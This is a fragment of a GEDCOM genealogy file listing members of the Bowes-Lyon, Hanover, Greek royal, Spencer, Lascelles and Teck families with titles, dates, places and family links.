+0 @I171@ INDI
+1 NAME Teackle Wallis /Warfield/
+1 SEX M
+1 FAMS @F55@
+0 @I172@ INDI
+1 NAME Alice  /Montague/
+1 SEX F
+1 FAMS @F55@
+0 @I173@ INDI
+1 NAME Violet Hyacinth /Bowes-Lyon/
+1 SEX F
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1893
+1 FAMC @F46@
+0 @I174@ INDI
+1 NAME Mary Frances /Bowes-Lyon/
+1 SEX F
+1 BIRT
+2 DATE        1883
+1 DEAT
+2 DATE        1961
+1 FAMS @F60@
+1 FAMC @F46@
+0 @I175@ INDI
+1 NAME Patrick  /Bowes-Lyon/
+1 SEX M
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1949
+1 FAMS @F61@
+1 FAMC @F46@
+0 @I176@ INDI
+1 NAME John Herbert /Bowes-Lyon/
+1 SEX M
+1 BIRT
+2 DATE        1886
+1 DEAT
+2 DATE        1930
+1 FAMS @F62@
+1 FAMC @F46@
+0 @I177@ INDI
+1 NAME Alexander Francis /Bowes-Lyon/
+1 SEX M
+1 BIRT
+2 DATE        1887
+1 DEAT
+2 DATE        1911
+1 FAMC @F46@
+0 @I178@ INDI
+1 NAME Fergus  /Bowes-Lyon/
+1 SEX M
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1915
+1 FAMS @F63@
+1 FAMC @F46@
+0 @I179@ INDI
+1 NAME Rose  /Bowes-Lyon/
+1 SEX F
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE        1967
+1 FAMS @F64@
+1 FAMC @F46@
+0 @I180@ INDI
+1 NAME Michael Claude /Bowes-Lyon/
+1 SEX M
+1 BIRT
+2 DATE        1893
+1 DEAT
+2 DATE        1953
+1 FAMS @F65@
+1 FAMC @F46@
+0 @I181@ INDI
+1 NAME David  /Bowes-Lyon/
+1 TITL Sir
+1 SEX M
+1 BIRT
+2 DATE  2 MAY 1902
+1 DEAT
+2 DATE        1961
+2 PLAC Birkhall
+1 FAMS @F66@
+1 FAMC @F46@
+0 @I182@ INDI
+1 NAME Claude  /Bowes-Lyon/
+1 TITL Earl
+1 SEX M
+1 BIRT
+2 DATE        1824
+1 DEAT
+2 DATE    FEB 1904
+1 FAMS @F56@
+1 FAMC @F57@
+0 @I183@ INDI
+1 NAME Frances Dora /Smith/
+1 SEX F
+1 BIRT
+2 DATE        1833
+1 DEAT
+2 DATE        1922
+1 FAMS @F56@
+1 FAMC @F117@
+0 @I184@ INDI
+1 NAME Thomas  /Lyon-Bowes/
+1 SEX M
+1 BIRT
+2 DATE        1773
+1 DEAT
+2 DATE        1846
+1 FAMS @F57@
+1 FAMC @F58@
+0 @I185@ INDI
+1 NAME Mary  /Carpenter/
+1 SEX F
+1 FAMS @F57@
+0 @I186@ INDI
+1 NAME Thomas George /Lyon-Bowes/
+1 SEX M
+1 BIRT
+2 DATE        1822
+1 DEAT
+2 DATE        1865
+1 FAMC @F57@
+0 @I187@ INDI
+1 NAME John  /Lyon/
+1 SEX M
+1 BIRT
+2 DATE        1737
+1 DEAT
+2 DATE        1776
+1 FAMS @F58@
+0 @I188@ INDI
+1 NAME Mary Eleanor /Bowes/
+1 SEX F
+1 BIRT
+2 DATE        1749
+1 DEAT
+2 DATE        1800
+1 FAMS @F58@
+1 FAMS @F59@
+0 @I189@ INDI
+1 NAME John Lyon /Bowes/
+1 SEX M
+1 BIRT
+2 DATE        1769
+1 DEAT
+2 DATE        1820
+1 FAMC @F58@
+0 @I190@ INDI
+1 NAME Andrew Robinson /Stoney/
+1 SEX M
+1 FAMS @F59@
+0 @I191@ INDI
+1 NAME   /Elphinstone/
+1 TITL Lord
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1955
+1 FAMS @F60@
+0 @I192@ INDI
+1 NAME Dorothy Beatrix /Osborne/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1888
+1 DEAT
+2 DATE        1946
+1 FAMS @F61@
+0 @I193@ INDI
+1 NAME Fenella Stuart-Forbes Trefusis/Hepburn/
+1 TITL Hon
+1 SEX F
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1966
+1 FAMS @F62@
+0 @I194@ INDI
+1 NAME Christian Norah /Dawson-Damer/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE        1959
+1 FAMS @F63@
+0 @I195@ INDI
+1 NAME   /Granville/
+1 TITL Lord
+1 SEX M
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1953
+1 FAMS @F64@
+0 @I196@ INDI
+1 NAME Elizabeth  /Cator/
+1 SEX F
+1 BIRT
+2 DATE        1899
+1 DEAT
+2 DATE        1959
+1 FAMS @F65@
+0 @I197@ INDI
+1 NAME Rachel  /Clay/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1907
+1 FAMS @F66@
+0 @I198@ INDI
+1 NAME Jeanne d'Albret of_France//
+1 SEX F
+1 FAMS @F446@
+0 @I199@ INDI
+1 NAME Frederick Charles of_Prussia//
+1 TITL Prince
+1 SEX M
+1 FAMS @F68@
+0 @I200@ INDI
+1 NAME Maria Anna of_Anhalt//
+1 SEX F
+1 FAMS @F68@
+0 @I201@ INDI
+1 NAME John  /Campbell/
+1 TITL Duke of Argyll
+1 SEX M
+1 BIRT
+2 DATE        1845
+1 DEAT
+2 DATE        1914
+1 FAMS @F69@
+0 @I202@ INDI
+1 NAME Frederick  /Hanover/
+1 TITL Duke of York
+1 SEX M
+1 BIRT
+2 DATE 16 AUG 1763
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE  5 JAN 1827
+2 PLAC Rutland House,Arlington St.,London,England
+1 FAMS @F185@
+1 FAMC @F39@
+0 @I203@ INDI
+1 NAME William_IV Henry /Hanover/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 21 AUG 1765
+2 PLAC Buckingham House,London,England
+1 DEAT
+2 DATE 20 JUN 1837
+2 PLAC Windsor Castle,Windsor,Berkshire,England
+1 BURI
+2 PLAC St. George Chap.,Windsor,Berkshire,England
+1 FAMS @F73@
+1 FAMC @F39@
+0 @I204@ INDI
+1 NAME Charlotte Augusta Matilda/Hanover/
+1 TITL Princess Royal
+1 SEX F
+1 BIRT
+2 DATE 29 SEP 1766
+2 PLAC Buckingham House,St. James Park,London,England
+1 DEAT
+2 DATE  6 OCT 1828
+2 PLAC Ludwigsburg
+1 FAMS @F82@
+1 FAMC @F39@
+0 @I205@ INDI
+1 NAME Ferdinand  //
+1 SEX M
+1 BIRT
+2 DATE        1785
+1 DEAT
+2 DATE        1851
+1 FAMS @F1370@
+1 FAMC @F1147@
+0 @I206@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE        1799
+1 DEAT
+2 DATE        1860
+1 FAMS @F1368@
+0 @I207@ INDI
+1 NAME Charles  /Cavendish-Bentin/
+1 TITL Reverend
+1 SEX M
+1 BIRT
+2 DATE        1817
+1 DEAT
+2 DATE        1865
+1 FAMS @F71@
+1 FAMC @F115@
+0 @I208@ INDI
+1 NAME Caroline Louisa /Burnaby/
+1 SEX F
+1 BIRT
+2 DATE        1832
+1 DEAT
+2 DATE        1918
+1 FAMS @F71@
+1 FAMC @F116@
+0 @I209@ INDI
+1 NAME Augusta Sophia /Hanover/
+1 SEX F
+1 BIRT
+2 DATE  8 NOV 1768
+2 PLAC Buckingham House
+1 DEAT
+2 DATE 22 SEP 1840
+2 PLAC Clarence House,St. James
+1 FAMC @F39@
+0 @I210@ INDI
+1 NAME Elizabeth  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 22 MAY 1770
+2 PLAC Buckingham House
+1 DEAT
+2 DATE 10 JAN 1840
+2 PLAC Frankfurt,-am-Main
+1 FAMS @F72@
+1 FAMC @F39@
+0 @I211@ INDI
+1 NAME Frederick_VI of_Hesse-Homburg //
+1 TITL Landgrave
+1 SEX M
+1 BIRT
+2 DATE        1769
+1 DEAT
+2 DATE        1829
+1 FAMS @F72@
+0 @I212@ INDI
+1 NAME Ernest Augustus_I /Hanover/
+1 TITL King of Hanover
+1 SEX M
+1 BIRT
+2 DATE  5 JUN 1771
+2 PLAC Buckingham House,London,England
+1 DEAT
+2 DATE 18 NOV 1851
+2 PLAC Herrenhausen
+1 BURI
+2 PLAC Herrenhausen
+1 FAMS @F83@
+1 FAMC @F39@
+0 @I213@ INDI
+1 NAME Augustus Frederick /Hanover/
+1 TITL Duke of Sussex
+1 SEX M
+1 BIRT
+2 DATE 27 JAN 1773
+2 PLAC Buckingham House
+1 DEAT
+2 DATE 21 APR 1843
+2 PLAC Kensington Palac
+1 FAMC @F39@
+0 @I214@ INDI
+1 NAME Mary  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 25 APR 1776
+2 PLAC Buckingham House
+1 DEAT
+2 DATE 30 APR 1857
+2 PLAC Gloucester House,Piccadilly,London,England
+1 FAMS @F93@
+1 FAMC @F39@
+0 @I215@ INDI
+1 NAME Sophia  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE  2 NOV 1777
+2 PLAC Buckingham House
+1 DEAT
+2 DATE 27 MAY 1848
+2 PLAC Vicarage Place,Kensington
+1 FAMC @F39@
+0 @I216@ INDI
+1 NAME Octavius  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE 23 FEB 1779
+2 PLAC Buckingham House
+1 DEAT
+2 DATE  3 MAY 1783
+2 PLAC Kew Palace
+1 FAMC @F39@
+0 @I217@ INDI
+1 NAME Alfred  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE 22 SEP 1780
+2 PLAC Windsor Castle,Windsor,Berkshire,England
+1 DEAT
+2 DATE 20 AUG 1783
+2 PLAC Windsor Castle,Windsor,Berkshire,England
+1 FAMC @F39@
+0 @I218@ INDI
+1 NAME Amelia  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE  7 AUG 1783
+2 PLAC Royal Lodge,Windsor,Berkshire,England
+1 DEAT
+2 DATE  2 NOV 1810
+2 PLAC Augusta Lodge,Windsor,Berkshire,England
+1 FAMC @F39@
+0 @I219@ INDI
+1 NAME Adelaide Louisa Theresa//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 13 AUG 1792
+2 PLAC Meiningen
+1 DEAT
+2 DATE  2 DEC 1849
+2 PLAC Near Stanmore,Middlesex,England
+1 BURI
+2 PLAC St. George Chap.,Windsor,England
+1 FAMS @F73@
+1 FAMC @F277@
+0 @I220@ INDI
+1 NAME Charlotte Augusta Louisa/Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1819
+1 DEAT
+2 DATE 27 MAR 1819
+2 PLAC Furstenhof,Hanover
+1 FAMC @F73@
+0 @I221@ INDI
+1 NAME Elizabeth Georgiana Adelaide/Hanover/
+1 SEX F
+1 BIRT
+2 DATE 10 DEC 1820
+2 PLAC St. James Palac
+1 DEAT
+2 DATE  4 MAR 1821
+2 PLAC St. James Palac
+1 FAMC @F73@
+0 @I222@ INDI
+1 NAME Twin-Boy_1  //
+1 SEX M
+1 BIRT
+2 DATE 23 APR 1822
+2 PLAC Bushy Park
+1 DEAT
+2 DATE 23 APR 1822
+2 PLAC Bushy Park
+1 FAMC @F73@
+0 @I223@ INDI
+1 NAME Twin-Boy_2  //
+1 SEX M
+1 BIRT
+2 DATE 23 APR 1822
+2 PLAC Bushy Park
+1 DEAT
+2 DATE 23 APR 1822
+2 PLAC Bushy Park
+1 FAMC @F73@
+0 @I224@ INDI
+1 NAME Marie  //
+1 SEX F
+1 BIRT
+2 DATE        1852
+1 DEAT
+2 DATE        1923
+1 FAMS @F171@
+1 FAMC @F109@
+0 @I225@ INDI
+1 NAME Christian_IX  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE  8 APR 1818
+2 PLAC Gottorp
+1 DEAT
+2 DATE 29 JAN 1906
+2 PLAC Amalienborg
+1 BURI
+2 PLAC Roskilde,Denmark
+1 FAMS @F74@
+1 FAMC @F108@
+0 @I226@ INDI
+1 NAME Louise of_Hesse-Cassel //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  7 SEP 1817
+2 PLAC Cassel
+1 DEAT
+2 DATE 29 SEP 1898
+2 PLAC Bernstorff
+1 FAMS @F74@
+1 FAMC @F96@
+0 @I227@ INDI
+1 NAME William George_I of_the_Hellenes/Oldenburg/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE 24 DEC 1845
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE 18 MAR 1913
+2 PLAC Salonika
+1 BURI
+2 PLAC Tatoi
+1 FAMS @F75@
+1 FAMC @F74@
+0 @I228@ INDI
+1 NAME Olga Constantinovna //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1851
+1 DEAT
+2 DATE        1926
+1 BURI
+2 DATE    NOV 1936
+2 PLAC Tatoi,Near Athens,Greece
+1 FAMS @F75@
+1 FAMC @F112@
+0 @I229@ INDI
+1 NAME Nicholas of_Greece //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1938
+1 FAMS @F76@
+1 FAMC @F75@
+0 @I230@ INDI
+1 NAME Child_6  //
+1 SEX M
+1 BIRT
+2 DATE        1913
+1 FAMC @F139@
+0 @I231@ INDI
+1 NAME Child_5  //
+1 SEX M
+1 FAMC @F139@
+0 @I232@ INDI
+1 NAME Paul_I  /Oldenburg/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE 14 DEC 1901
+2 PLAC Athens,Greece
+1 DEAT
+2 DATE  6 MAR 1964
+2 PLAC Tatoi,Near Athens,Greece
+1 BURI
+2 PLAC Tatoi,Near Athens,Greece
+1 FAMS @F162@
+1 FAMC @F139@
+0 @I233@ INDI
+1 NAME Helen of_Greece //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  2 MAY 1896
+2 PLAC Athens,Greece
+1 DEAT
+2 DATE 28 NOV 1982
+2 PLAC Lausanne,Switzerland
+1 FAMS @F160@
+1 FAMC @F139@
+0 @I234@ INDI
+1 NAME Alexander_I  /Oldenburg/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE  1 AUG 1893
+2 PLAC Tatoi
+1 DEAT
+2 DATE 25 OCT 1920
+2 PLAC Athens,Greece
+1 BURI
+2 PLAC Tatoi
+1 FAMS @F164@
+1 FAMC @F139@
+0 @I235@ INDI
+1 NAME Sumner M. /Kirby/
+1 SEX F
+1 DEAT
+2 DATE        1945
+1 FAMS @F1381@
+0 @I236@ INDI
+1 NAME Child_2  //
+1 SEX M
+1 FAMC @F76@
+0 @I237@ INDI
+1 NAME Child_3  //
+1 SEX M
+1 FAMC @F76@
+0 @I238@ INDI
+1 NAME Louise Alexandra /Mountbatten/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 13 JUL 1889
+2 PLAC Schloss,Heiligenberg
+1 DEAT
+2 DATE  7 MAR 1965
+2 PLAC Stockholm,Sweden
+1 FAMS @F77@
+1 FAMC @F27@
+0 @I239@ INDI
+1 NAME Edward John VIII/Spencer/
+1 TITL Earl of Spencer
+1 SEX M
+1 BIRT
+2 DATE 24 JAN 1924
+2 PLAC England
+1 DEAT
+2 DATE 29 MAR 1992
+2 PLAC London,England
+1 FAMS @F78@
+1 FAMS @F79@
+1 FAMC @F118@
+0 @I240@ INDI
+1 NAME Sarah  /Spencer/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1955
+1 FAMS @F301@
+1 FAMC @F78@
+0 @I241@ INDI
+1 NAME Jane  /Spencer/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1957
+1 FAMS @F300@
+1 FAMC @F78@
+0 @I242@ INDI
+1 NAME Charles  /Spencer/
+1 TITL Vicount Althorp
+1 SEX M
+1 BIRT
+2 DATE        1964
+1 FAMS @F1403@
+1 FAMC @F78@
+0 @I243@ INDI
+1 NAME Raine of_Dartmouth /McCorquodale/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE    SEP 1929
+1 FAMS @F1414@
+1 FAMS @F79@
+1 FAMC @F299@
+0 @I244@ INDI
+1 NAME George Earl_of_Harewood /Lascelles/
+1 TITL Viscount
+1 SEX M
+1 BIRT
+2 DATE        1923
+1 FAMS @F94@
+1 FAMS @F101@
+1 FAMC @F18@
+0 @I245@ INDI
+1 NAME Louise Marie d'Orleans//
+1 SEX F
+1 BIRT
+2 DATE  3 APR 1812
+2 PLAC Palermo,Italy
+1 DEAT
+2 DATE 11 OCT 1850
+2 PLAC Ostende
+1 BURI
+2 PLAC Laeken,Belgium
+1 FAMS @F663@
+1 FAMC @F1187@
+0 @I246@ INDI
+1 NAME Ludwig_IX of_Hesse- Darmstadt//
+1 TITL Landgrave
+1 SEX M
+1 FAMS @F81@
+0 @I247@ INDI
+1 NAME Frederick_I of_Wurttemberg //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE        1754
+1 DEAT
+2 DATE        1816
+1 FAMS @F82@
+1 FAMS @F405@
+1 FAMC @F404@
+0 @I248@ INDI
+1 NAME Frederica of_Mecklenburg- Strelitz//
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE  2 MAR 1778
+2 PLAC Hanover,Germany
+1 DEAT
+2 DATE 29 JUN 1841
+2 PLAC Hanover
+1 BURI
+2 PLAC Herrenhausen
+1 FAMS @F201@
+1 FAMS @F83@
+1 FAMC @F520@
+0 @I249@ INDI
+1 NAME George_V  /Hanover/
+1 TITL King of Hanover
+1 SEX M
+1 BIRT
+2 DATE 27 MAY 1819
+2 PLAC Berlin,Germany
+1 DEAT
+2 DATE 12 JUN 1878
+2 PLAC Paris,France
+1 BURI
+2 PLAC St George Chapel,Windsor,England
+1 FAMS @F84@
+1 FAMC @F83@
+0 @I250@ INDI
+1 NAME Mary of_Saxe- Altenburg//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 14 APR 1818
+2 PLAC Hildburghausen
+1 DEAT
+2 DATE  9 JAN 1907
+2 PLAC Gmunden,Austria
+1 BURI
+2 PLAC Gmunden
+1 FAMS @F84@
+0 @I251@ INDI
+1 NAME Ernest Augustus of_Cumberland/Hanover/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1845
+1 DEAT
+2 DATE        1923
+1 FAMS @F85@
+1 FAMC @F84@
+0 @I252@ INDI
+1 NAME Frederica  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1848
+1 DEAT
+2 DATE        1926
+1 FAMS @F86@
+1 FAMC @F84@
+0 @I253@ INDI
+1 NAME Mary  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1849
+1 DEAT
+2 DATE        1904
+1 FAMC @F84@
+0 @I254@ INDI
+1 NAME Thyra of_Denmark //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1853
+1 DEAT
+2 DATE        1933
+1 FAMS @F85@
+1 FAMC @F74@
+0 @I255@ INDI
+1 NAME Marie Louise /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1879
+1 DEAT
+2 DATE        1948
+1 FAMS @F397@
+1 FAMC @F85@
+0 @I256@ INDI
+1 NAME George William /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1912
+1 FAMC @F85@
+0 @I257@ INDI
+1 NAME Alexandra  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1963
+1 FAMS @F398@
+1 FAMC @F85@
+0 @I258@ INDI
+1 NAME Olga  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1958
+1 FAMC @F85@
+0 @I259@ INDI
+1 NAME Christian  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1885
+1 DEAT
+2 DATE        1901
+1 FAMC @F85@
+0 @I260@ INDI
+1 NAME Rene of_Bourbon-Parma //
+1 TITL Prince
+1 SEX M
+1 FAMS @F399@
+0 @I261@ INDI
+1 NAME Alfons  /Pawel-Rammingen/
+1 TITL Baron von
+1 SEX M
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1932
+1 FAMS @F86@
+0 @I262@ INDI
+1 NAME George of_Cambridge //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1819
+1 DEAT
+2 DATE        1904
+1 FAMS @F87@
+1 FAMC @F40@
+0 @I263@ INDI
+1 NAME Sarah (Louisa) /Fairbrother/
+1 SEX F
+1 BIRT
+2 DATE        1815/1816
+1 DEAT
+2 DATE        1890
+1 FAMS @F87@
+0 @I264@ INDI
+1 NAME George  /FitzGeorge/
+1 SEX M
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1907
+1 FAMS @F88@
+1 FAMC @F87@
+0 @I265@ INDI
+1 NAME Adolphus  //
+1 SEX M
+1 BIRT
+2 DATE        1846
+1 DEAT
+2 DATE        1922
+1 FAMC @F87@
+0 @I266@ INDI
+1 NAME Agustus  //
+1 SEX M
+1 BIRT
+2 DATE        1847
+1 DEAT
+2 DATE        1933
+1 FAMC @F87@
+0 @I267@ INDI
+1 NAME Rosa  /Baring/
+1 SEX F
+1 FAMS @F88@
+0 @I268@ INDI
+1 NAME Son_1  //
+1 SEX M
+1 FAMC @F88@
+0 @I269@ INDI
+1 NAME Dau._1  //
+1 SEX F
+1 FAMC @F88@
+0 @I270@ INDI
+1 NAME Dau._2  //
+1 SEX F
+1 FAMC @F88@
+0 @I271@ INDI
+1 NAME Frederick William //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1819
+1 DEAT
+2 DATE        1904
+1 FAMS @F89@
+0 @I272@ INDI
+1 NAME Adolphus Frederick_V //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1848
+1 DEAT
+2 DATE        1914
+1 FAMS @F90@
+1 FAMC @F89@
+0 @I273@ INDI
+1 NAME Elisabeth of_Anhalt //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1933
+1 FAMS @F90@
+0 @I274@ INDI
+1 NAME Son_1  //
+1 SEX M
+1 FAMC @F90@
+0 @I275@ INDI
+1 NAME Son_2  //
+1 SEX M
+1 FAMC @F90@
+0 @I276@ INDI
+1 NAME Dau._1  //
+1 SEX F
+1 FAMC @F90@
+0 @I277@ INDI
+1 NAME Dau._2  //
+1 SEX F
+1 FAMC @F90@
+0 @I278@ INDI
+1 NAME Adolphus 2nd //
+1 TITL Duke of Teck
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1927
+1 FAMS @F91@
+1 FAMC @F41@
+0 @I279@ INDI
+1 NAME Francis  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1910
+1 FAMC @F41@
+0 @I280@ INDI
+1 NAME Alexander George of_Teck//
+1 TITL Earl of Athlone
+1 SEX M
+1 BIRT
+2 DATE        1874
+1 DEAT
+2 DATE        1957
+1 FAMS @F38@
+1 FAMC @F41@
+0 @I281@ INDI
+1 NAME Margaret  /Grosvenor/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1873
+1 DEAT
+2 DATE        1929
+1 FAMS @F91@
+0 @I282@ INDI
+1 NAME George of_Cambridge //
+1 TITL Marquess
+1 SEX M
+1 BIRT
+2 DATE        1895
+1 FAMS @F666@
+1 FAMC @F91@
+0 @I283@ INDI
+1 NAME Son_2  //
+1 SEX M
+1 FAMC @F91@
+0 @I284@ INDI
+1 NAME Mary  //
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1897
+1 FAMS @F667@
+1 FAMC @F91@
+0 @I285@ INDI
+1 NAME Helena  //
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1899
+1 DEAT
+2 DATE        1969
+1 FAMS @F668@
+1 FAMC @F91@
+0 @I286@ INDI
+1 NAME Edward_II  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 25 APR 1284
+2 PLAC Caernarvon,Castle,Wales
+1 DEAT
+2 DATE 21 SEP 1327
+2 PLAC Berkeley Castle,Gloucestershire
+1 BURI
+2 PLAC Gloucester,Cathedral
+1 FAMS @F92@
+1 FAMC @F464@
+0 @I287@ INDI
+1 NAME Rupert  //
+1 TITL Vicount Trematon
+1 SEX M
+1 DEAT
+2 DATE        1928
+1 FAMC @F38@
+0 @I288@ INDI
+1 NAME Son_2  //
+1 SEX M
+1 FAMC @F38@
+0 @I289@ INDI
+1 NAME May Cambridge //
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1906
+1 FAMS @F669@
+1 FAMC @F38@
+0 @I290@ INDI
+1 NAME William Frederick of_Gloucester//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1776
+1 DEAT
+2 DATE        1834
+1 FAMS @F93@
+1 FAMC @F279@
+0 @I291@ INDI
+1 NAME Gerald  /Lascelles/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1924
+1 FAMS @F95@
+1 FAMS @F102@
+1 FAMC @F18@
+0 @I292@ INDI
+1 NAME Marion (Maria) Donata/Stein/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1926
+1 FAMS @F94@
+1 FAMC @F1413@
+0 @I293@ INDI
+1 NAME David  /Lascelles/
+1 TITL Viscount
+1 SEX M
+1 BIRT
+2 DATE        1950
+1 FAMS @F357@
+1 FAMC @F94@
+0 @I294@ INDI
+1 NAME James  /Lascelles/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1953
+1 FAMS @F358@
+1 FAMC @F94@
+0 @I295@ INDI
+1 NAME Jeremy  /Lascelles/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1955
+1 FAMS @F359@
+1 FAMC @F94@
+0 @I296@ INDI
+1 NAME Angela  /Dowding/
+1 SEX F
+1 BIRT
+2 DATE        1919
+1 FAMS @F95@
+0 @I297@ INDI
+1 NAME Henry  /Lascelles/
+1 SEX M
+1 BIRT
+2 DATE        1953
+1 FAMS @F368@
+1 FAMC @F95@
+0 @I298@ INDI
+1 NAME William of_Hesse-Cassel //
+1 TITL Landgrave
+1 SEX M
+1 BIRT
+2 DATE        1787
+1 DEAT
+2 DATE        1867
+1 FAMS @F96@
+1 FAMC @F97@
+0 @I299@ INDI
+1 NAME Louise Charlotte of_Denmark//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1789
+1 DEAT
+2 DATE        1864
+1 FAMS @F96@
+1 FAMC @F642@
+0 @I300@ INDI
+1 NAME Other_issue  //
+1 SEX M
+1 FAMC @F96@
+0 @I301@ INDI
+1 NAME Frederick of_Hesse-Cassel //
+1 TITL Landgrave
+1 SEX M
+1 BIRT
+2 DATE        1747
+1 DEAT
+2 DATE        1837
+1 FAMS @F97@
+1 FAMC @F622@
+0 @I302@ INDI
+1 NAME Caroline of_Nassau- Usingen//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1762
+1 DEAT
+2 DATE        1823
+1 FAMS @F97@
+0 @I303@ INDI
+1 NAME Alexander of_Wurttemberg //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1804
+1 DEAT
+2 DATE        1885
+1 FAMS @F98@
+1 FAMC @F170@
+0 @I304@ INDI
+1 NAME Claudine  //
+1 TITL Countess Rhedey
+1 SEX F
+1 BIRT
+2 DATE        1814
+1 DEAT
+2 DATE        1841
+1 FAMS @F98@
+0 @I305@ INDI
+1 NAME Claudine  //
+1 TITL Princess of Teck
+1 SEX F
+1 BIRT
+2 DATE        1836
+1 DEAT
+2 DATE        1894
+1 FAMC @F98@
+0 @I306@ INDI
+1 NAME Amelie  //
+1 TITL Princess of Teck
+1 SEX F
+1 BIRT
+2 DATE        1838
+1 DEAT
+2 DATE        1893
+1 FAMS @F99@
+1 FAMC @F98@
+0 @I307@ INDI
+1 NAME Paul  /von_Hugel/
+1 TITL Baron
+1 SEX M
+1 BIRT
+2 DATE        1835
+1 DEAT
+2 DATE        1897
+1 FAMS @F99@
+0 @I308@ INDI
+1 NAME Paul  /von_Hugel/
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1872
+1 DEAT
+2 DATE        1912
+1 FAMC @F99@
+0 @I309@ INDI
+1 NAME Ferdinand_I of_Hohenzollern- Sigmaringen/Hohenzollern/
+1 TITL King of Romania
+1 SEX M
+1 BIRT
+2 DATE 24 AUG 1865
+2 PLAC Sigmaringen,Germany
+1 DEAT
+2 DATE 20 JUL 1927
+2 PLAC Sinaia,Romania
+1 FAMS @F100@
+1 FAMC @F416@
+0 @I310@ INDI
+1 NAME Christian Victor //
+1 SEX M
+1 BIRT
+2 DATE        1867
+1 DEAT
+2 DATE        1900
+1 FAMC @F32@
+0 @I311@ INDI
+1 NAME Albert of_Schleswig- Holstein//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1931
+1 FAMC @F32@
+0 @I312@ INDI
+1 NAME Helena Victoria //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1870
+1 DEAT
+2 DATE        1948
+1 FAMC @F32@
+0 @I313@ INDI
+1 NAME Frederick Harold //
+1 SEX M
+1 BIRT
+2 DATE 12 MAY 1876
+1 DEAT
+2 DATE 20 MAY 1876
+1 FAMC @F32@
+0 @I314@ INDI
+1 NAME Patricia  /Tuckwell/
+1 SEX F
+1 BIRT
+2 DATE        1923
+1 FAMS @F101@
+1 FAMS @F1412@
+0 @I315@ INDI
+1 NAME Mark  /Lascelles/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1964
+1 FAMC @F101@
+0 @I316@ INDI
